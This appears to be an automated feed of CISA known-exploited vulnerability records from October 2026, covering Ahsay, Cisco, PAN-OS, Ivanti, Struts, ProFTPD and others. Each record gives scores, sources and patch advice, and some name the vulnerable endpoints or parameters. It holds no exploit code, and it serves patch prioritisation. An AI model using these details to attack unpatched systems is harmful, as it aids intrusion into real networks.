https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0 CISA KEV entry CVE-2026-105134: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105134&date=2026-10-25 CVE Program CNA VulDB: https://cveawg.mitre.org/api/cve/CVE-2026-105134 A flaw has been found in Ahsay AhsayCBS up to 9.15.2.69/10.3.4.44. This vulnerability affects unknown code of the file /rps/api/json/UpdateReceivers.do of the component Replication Receiver. Executing a manipulation of the argument random can lead to os command injection. It is possible to launch the attack remotely. The exploit has been published and may be used. Upgrading to version 9.15.2.70 and 10.3.4.45 is able to resolve this issue. Upgrading the affected component is advised. The initial patch did not fix the security vulnerability properly. An update of the CVE entry to reflect this became necessary. NVD status: Analyzed. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 14, 2026; federal due date Oct 17, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Secure Email Gateway Relative Path Traversal Vulnerability https://kevwire.com/record/CVE-2026-76519 Cisco Secure Email Gateway Relative Path Traversal Vulnerability (Oct 14, 2026). A vulnerability in the Advanced Malware Protection (AMP) feature of Cisco Secure Email Gateway could allow an unauthenticated, remote attacker to write arbitrary files on the underlying operating system. This vulnerability is due to improper handling of email attachments when the file reputation service is enabled. An attacker could exploit this vulnerability by sending an email that contains a crafted attachment through an affected device. A successful exploit could allow the attacker to write arbitrary files and execute commands with root privileges on the underlying operating system. CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76519). EPSS 2.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76519&date=2026-10-25). Sources: NVD CVE-2026-76519: https://nvd.nist.gov/vuln/detail/CVE-2026-76519 Vendor advisory (via NVD references): https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esa-afw-zqYJkjxp NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000 CISA KEV entry CVE-2026-76519: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76519&date=2026-10-25 A vulnerability in the Advanced Malware Protection (AMP) feature of Cisco Secure Email Gateway could allow an unauthenticated, remote attacker to write arbitrary files on the underlying operating system. This vulnerability is due to improper handling of email attachments when the file reputation service is enabled. An attacker could exploit this vulnerability by sending an email that contains a crafted attachment through an affected device. A successful exploit could allow the attacker to write arbitrary files and execute commands with root privileges on the underlying operating system. NVD status: Analyzed. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 14, 2026; federal due date Oct 17, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ahsay AhsayCBS Improper Authentication Vulnerability https://kevwire.com/record/CVE-2026-105133 Ahsay AhsayCBS Improper Authentication Vulnerability (Oct 4, 2026). A vulnerability was detected in Ahsay AhsayCBS up to 9.15.2.69/10.3.4.44. This affects the function checkSysPwd of the file com/ahsay/obs/api/ApiStructsAction.java of the component API. Performing a manipulation of the argument random results in improper authentication. It is possible to initiate the attack remotely. The exploit is now public and may be used. Upgrading to version 9.15.2.70 and 10.3.4.45 is able to mitigate this issue. It is recommended to upgrade the affected component. The initial patch did not fix the security vulnerability properly. An update of the CVE entry to reflect this became necessary. CVSS 6.9 (version 4.0; evidence as of Oct 4, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-105133). EPSS 79.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105133&date=2026-10-25). Sources: NVD CVE-2026-105133: https://nvd.nist.gov/vuln/detail/CVE-2026-105133 Vendor advisory (via NVD references): https://www.ahsay.com/en/company/announcements/patch-cve-105133-105134-update NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0 CISA KEV entry CVE-2026-105133: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105133&date=2026-10-25 CVE Program CNA VulDB: https://cveawg.mitre.org/api/cve/CVE-2026-105133 A vulnerability was detected in Ahsay AhsayCBS up to 9.15.2.69/10.3.4.44. This affects the function checkSysPwd of the file com/ahsay/obs/api/ApiStructsAction.java of the component API. Performing a manipulation of the argument random results in improper authentication. It is possible to initiate the attack remotely. The exploit is now public and may be used. Upgrading to version 9.15.2.70 and 10.3.4.45 is able to mitigate this issue. It is recommended to upgrade the affected component. The initial patch did not fix the security vulnerability properly. An update of the CVE entry to reflect this became necessary. NVD status: Analyzed. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 14, 2026; federal due date Oct 17, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Palo Alto Networks PAN-OS Code Injection Vulnerability https://kevwire.com/record/CVE-2026-0322 Palo Alto Networks PAN-OS Code Injection Vulnerability (Oct 14, 2026). A remote code execution (RCE) vulnerability in the management interface of Palo Alto Networks PAN-OS® software enables an authenticated attacker with network access to execute arbitrary code with root privileges on the firewall. The security risk posed by this issue is minimized by restricting access to the management interface to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series). Cloud NGFW and Prisma® Access are not impacted by this vulnerability. CVSS 8.6 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0322). EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-0322&date=2026-10-25). Sources: NVD CVE-2026-0322: https://nvd.nist.gov/vuln/detail/CVE-2026-0322 Vendor advisory (via NVD references): https://security.paloaltonetworks.com/CVE-2026-0322 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000 CISA KEV entry CVE-2026-0322: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-0322&date=2026-10-25 A remote code execution (RCE) vulnerability in the management interface of Palo Alto Networks PAN-OS® software enables an authenticated attacker with network access to execute arbitrary code with root privileges on the firewall. The security risk posed by this issue is minimized by restricting access to the management interface to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series). Cloud NGFW and Prisma® Access are not impacted by this vulnerability. NVD status: Analyzed. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 14, 2026; federal due date Oct 17, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Connect Secure Authentication Bypass by Spoofing Vulnerability https://kevwire.com/record/CVE-2026-104935 Ivanti Connect Secure Authentication Bypass by Spoofing Vulnerability (Oct 13, 2026). Authentication bypass by spoofing in ICS before version 25.1.3.0 allows a remote unauthenticated attacker to execute arbitrary commands. This does not impact ICS version 22.7R2.14 or prior. CVSS 8.6 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104935). EPSS 86.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104935&date=2026-10-25). Sources: NVD CVE-2026-104935: https://nvd.nist.gov/vuln/detail/CVE-2026-104935 Vendor advisory (via NVD references): https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-CVE-2026-104935 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500 CISA KEV entry CVE-2026-104935: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104935&date=2026-10-25 Authentication bypass by spoofing in ICS before version 25.1.3.0 allows a remote unauthenticated attacker to execute arbitrary commands. This does not impact ICS version 22.7R2.14 or prior. NVD status: Analyzed. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 13, 2026; federal due date Oct 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Command Injection Vulnerability https://kevwire.com/record/CVE-2026-96951 Microsoft Windows Command Injection Vulnerability (Oct 13, 2026). Microsoft Windows Shell contains a command injection vulnerability that allows an unauthorized attacker to bypass a security feature over a network. CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96951). EPSS 9.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96951&date=2026-10-25). Sources: CISA KEV entry CVE-2026-96951: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json NVD CVE-2026-96951: https://nvd.nist.gov/vuln/detail/CVE-2026-96951 Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96951 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96951&date=2026-10-25 CISA added this entry on 2026-10-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 13, 2026; federal due date Oct 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### ISC BIND Data Processing Errors Vulnerability https://kevwire.com/record/CVE-2015-5477 ISC BIND Data Processing Errors Vulnerability (Oct 8, 2026). ISC BIND contains a data processing errors vulnerability that could allow remote attackers to cause a denial of service via TKEY queries. CVSS 7.5 (version 3.1; evidence as of Oct 9, 2026; https://cveawg.mitre.org/api/cve/CVE-2015-5477). EPSS 99.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-5477&date=2026-10-25). Sources: CISA KEV entry CVE-2015-5477: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-5477&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2015-5477 CISA added this entry on 2026-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 8, 2026; federal due date Oct 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apache Struts Command Injection Vulnerability https://kevwire.com/record/CVE-2016-3081 Apache Struts Command Injection Vulnerability (Oct 8, 2026). Apache Struts contains a command injection vulnerability that could allow remote attackers to execute arbitrary code via method:prefix when Dynamic Method Invocation is enabled. CVSS 8.1 (version 3.1; evidence as of Oct 9, 2026; https://cveawg.mitre.org/api/cve/CVE-2016-3081). EPSS 96.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-3081&date=2026-10-25). Sources: CISA KEV entry CVE-2016-3081: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-3081&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2016-3081 CISA added this entry on 2026-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 8, 2026; federal due date Oct 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Strapi Cleartext Storage of Sensitive Information Vulnerability https://kevwire.com/record/CVE-2023-22894 Strapi Cleartext Storage of Sensitive Information Vulnerability (Oct 8, 2026). Strapi contains a cleartext storage of sensitive information vulnerability that could allow attackers with access to the admin panel to discover sensitive user details via the query filter. The impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version. This vulnerability can be chained with CVE-2023-22621 to achieve remote code execution. CVSS 7.2 (version 3.1; evidence as of Oct 9, 2026; https://cveawg.mitre.org/api/cve/CVE-2023-22894). EPSS 4.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-22894&date=2026-10-25). Sources: CISA KEV entry CVE-2023-22894: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-22894&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2023-22894 CISA added this entry on 2026-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 8, 2026; federal due date Oct 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### ONLYOFFICE Docs Server Path Traversal Vulnerability https://kevwire.com/record/CVE-2021-3199 ONLYOFFICE Docs Server Path Traversal Vulnerability (Oct 8, 2026). ONLYOFFICE Docs contains a path traversal vulnerability that can occur when JWT is used, via a /.. sequence in an image upload parameter and could allow for remote code execution. CVSS 9.8 (version 3.1; evidence as of Oct 9, 2026; https://cveawg.mitre.org/api/cve/CVE-2021-3199). EPSS 30.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-3199&date=2026-10-25). Sources: CISA KEV entry CVE-2021-3199: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-3199&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2021-3199 CISA added this entry on 2026-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 8, 2026; federal due date Oct 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### ProFTPD Improper Access Control Vulnerability https://kevwire.com/record/CVE-2015-3306 ProFTPD Improper Access Control Vulnerability (Oct 8, 2026). ProFTPD contains an improper access control vulnerability that could allow remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands. CVSS 10.0 (version 3.1; evidence as of Oct 9, 2026; https://cveawg.mitre.org/api/cve/CVE-2015-3306). EPSS 99.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-3306&date=2026-10-25). Sources: CISA KEV entry CVE-2015-3306: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-3306&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2015-3306 CISA added this entry on 2026-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 8, 2026; federal due date Oct 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Citrix NetScaler Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability https://kevwire.com/record/CVE-2026-88779 Citrix NetScaler Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability (Oct 4, 2026). Citrix NetScaler ADC (formerly Citrix ADC) and Citrix NetScaler Gateway (formerly Citrix Gateway) contain an improper restriction of operations within the bounds of a memory buffer vulnerability that could allow for a denial of service. CVSS 8.7 (version 4.0; evidence as of Oct 4, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-88779). EPSS 11.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88779&date=2026-10-25). Sources: CISA KEV entry CVE-2026-88779: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88779&date=2026-10-25 CVE Program CNA NetScaler: https://cveawg.mitre.org/api/cve/CVE-2026-88779 CISA added this entry on 2026-10-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 4, 2026; federal due date Oct 7, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Zammad GmbH Zammad Improper Privilege Management Vulnerability https://kevwire.com/record/CVE-2026-102490 Zammad GmbH Zammad Improper Privilege Management Vulnerability (Oct 2, 2026). Zammad GmbH Zammad contains an improper privilege management vulnerability that can allow the local zammad user to escalate privileges to root. This vulnerability can be chained with CVE-2026-102489. CVSS 8.5 (version 4.0; evidence as of Oct 8, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-102490). EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102490&date=2026-10-25). Sources: CISA KEV entry CVE-2026-102490: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102490&date=2026-10-25 CVE Program CNA DIVD: https://cveawg.mitre.org/api/cve/CVE-2026-102490 CISA added this entry on 2026-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 2, 2026; federal due date Oct 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Zammad GmbH Zammad Session Fixation Vulnerability https://kevwire.com/record/CVE-2026-102489 Zammad GmbH Zammad Session Fixation Vulnerability (Oct 2, 2026). Zammad GmbH Zammad contains a session fixation vulnerability that can lead to remote code execution as the zammad user. This vulnerability can be chained with CVE-2026-102490. CVSS 8.7 (version 4.0; evidence as of Oct 19, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-102489). EPSS 2.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102489&date=2026-10-25). Sources: CISA KEV entry CVE-2026-102489: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102489&date=2026-10-25 CVE Program CNA DIVD: https://cveawg.mitre.org/api/cve/CVE-2026-102489 CISA added this entry on 2026-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 2, 2026; federal due date Oct 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet FortiMail Path Traversal Vulnerability https://kevwire.com/record/CVE-2026-104286 Fortinet FortiMail Path Traversal Vulnerability (Oct 1, 2026). Fortinet FortiMail contains a path traversal and an improper neutralization of NULL byte or NULL character vulnerability that may allow an unauthenticated attacker to write arbitrary files on the underlying system via crafted HTTP or HTTPS requests. CVSS 9.8 (version 3.1; evidence as of Oct 7, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-104286). EPSS 4.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104286&date=2026-10-25). Sources: CISA KEV entry CVE-2026-104286: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104286&date=2026-10-25 CVE Program CNA fortinet: https://cveawg.mitre.org/api/cve/CVE-2026-104286 CISA added this entry on 2026-10-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 1, 2026; federal due date Oct 4, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Catalyst SD-WAN Manager Hex Encoding Vulnerability https://kevwire.com/record/CVE-2026-76504 Cisco Catalyst SD-WAN Manager Hex Encoding Vulnerability (Sep 30, 2026). Cisco Catalyst SD-WAN Manager contains a hex encoding vulnerability that could allow an unauthenticated, remote attacker to access an affected system with privileges of the admin user due to improper handling of URI encoding in an HTTP request. CVSS 9.8 (version 3.1; evidence as of Oct 2, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-76504). EPSS 38.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76504&date=2026-10-25). Sources: CISA KEV entry CVE-2026-76504: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76504&date=2026-10-25 CVE Program CNA cisco: https://cveawg.mitre.org/api/cve/CVE-2026-76504 CISA added this entry on 2026-09-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 30, 2026; federal due date Oct 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2026-86950 Apple Multiple Products Out-of-Bounds Write Vulnerability (Sep 29, 2026). Apple iOS, macOS, and iPadOS contain an out-of-bounds write vulnerability in CoreGraphics that may lead to arbitrary code execution. CVSS 8.8 (version 3.1; evidence as of Oct 1, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-86950). EPSS 26.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86950&date=2026-10-25). Sources: CISA KEV entry CVE-2026-86950: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: 